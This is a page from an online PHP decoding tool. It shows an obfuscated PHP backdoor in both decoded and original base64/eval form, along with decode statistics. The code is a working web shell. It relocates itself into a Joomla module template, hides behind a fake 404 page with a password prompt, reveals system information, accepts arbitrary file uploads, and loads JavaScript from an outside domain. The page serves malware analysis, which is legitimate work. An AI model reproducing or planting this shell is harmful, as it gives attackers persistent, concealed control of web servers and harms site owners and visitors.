Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$md5_pass = "79e4d574a3c5ed20fe04a2e3ff3b3add"; $ghst61 = 'Y29weSgiZ2hvc3Q2MS5waHAiLCIuLi..

Decoded Output download

copy("ghost61.php","../modules/mod_feed/tmpl/tmpl.php");
unlink("ghost61.php");

if ( isset($_GET['kernel']) )
echo '<b>'.php_uname().'<br></b>';

//login page
@session_start();function printLogin() {
echo '<html><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at Port 80</address><style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style><form method=post><input type=password name=pass></form></body><html>';
exit; } if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $md5_pass ) ||( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $md5_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else	printLogin();


if ( isset($_GET['ghst']) )
{
	echo "Restricted access

";
	echo '<b>'.php_uname().'<br></b>';
	echo '<b><br><br>'.''.'<br></b>';
	echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
	echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
	if( $_POST['_upl'] == "Upload" ) {
		if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>success !!!</b><br><br>'; }
		else { echo '<b>failed!!!</b><br><br>'; }
	}
echo '<SCRIPT SRC=http://www.yavuzdiyebiri.com/drwxrwxrwx/ehe.js></SCRIPT>';
exit;
}

Did this file decode correctly?

Original Code

$md5_pass = "79e4d574a3c5ed20fe04a2e3ff3b3add";
$ghst61 = 'Y29weSgiZ2hvc3Q2MS5waHAiLCIuLi9tb2R1bGVzL21vZF9mZWVkL3RtcGwvdG1wbC5waHAiKTsKdW5saW5rKCJnaG9zdDYxLnBocCIpOwoKaWYgKCBpc3NldCgkX0dFVFsna2VybmVsJ10pICkKZWNobyAnPGI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOwoKLy9sb2dpbiBwYWdlCkBzZXNzaW9uX3N0YXJ0KCk7ZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKZWNobyAnPGh0bWw+PGJvZHk+PGgxPk5vdCBGb3VuZDwvaDE+PHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+PGhyPjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgUG9ydCA4MDwvYWRkcmVzcz48c3R5bGU+aW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9PC9zdHlsZT48Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PC9mb3JtPjwvYm9keT48aHRtbD4nOwpleGl0OyB9IGlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkgaWYoIGVtcHR5KCAkbWQ1X3Bhc3MgKSB8fCggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRtZDVfcGFzcyApICkgKQokX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsgZWxzZQlwcmludExvZ2luKCk7CgoKaWYgKCBpc3NldCgkX0dFVFsnZ2hzdCddKSApCnsKCWVjaG8gIlJlc3RyaWN0ZWQgYWNjZXNzXG5cbiI7CgllY2hvICc8Yj4nLnBocF91bmFtZSgpLic8YnI+PC9iPic7CgllY2hvICc8Yj48YnI+PGJyPicuJycuJzxicj48L2I+JzsKCWVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CgllY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsKCWlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsKCQlpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5zdWNjZXNzICEhITwvYj48YnI+PGJyPic7IH0KCQllbHNlIHsgZWNobyAnPGI+ZmFpbGVkISEhPC9iPjxicj48YnI+JzsgfQoJfQplY2hvICc8U0NSSVBUIFNSQz1odHRwOi8vd3d3LnlhdnV6ZGl5ZWJpcmkuY29tL2Ryd3hyd3hyd3gvZWhlLmpzPjwvU0NSSVBUPic7CmV4aXQ7Cn0=';eval(base64_decode($ghst61));

Function Calls

base64_decode 1

Variables

$ghst61 Y29weSgiZ2hvc3Q2MS5waHAiLCIuLi9tb2R1bGVzL21vZF9mZWVkL3RtcGwv..
$md5_pass 79e4d574a3c5ed20fe04a2e3ff3b3add

Stats

MD5 62bac3f6a9f604ce85b7d7d692fe7dea
Eval Count 1
Decode Time 80 ms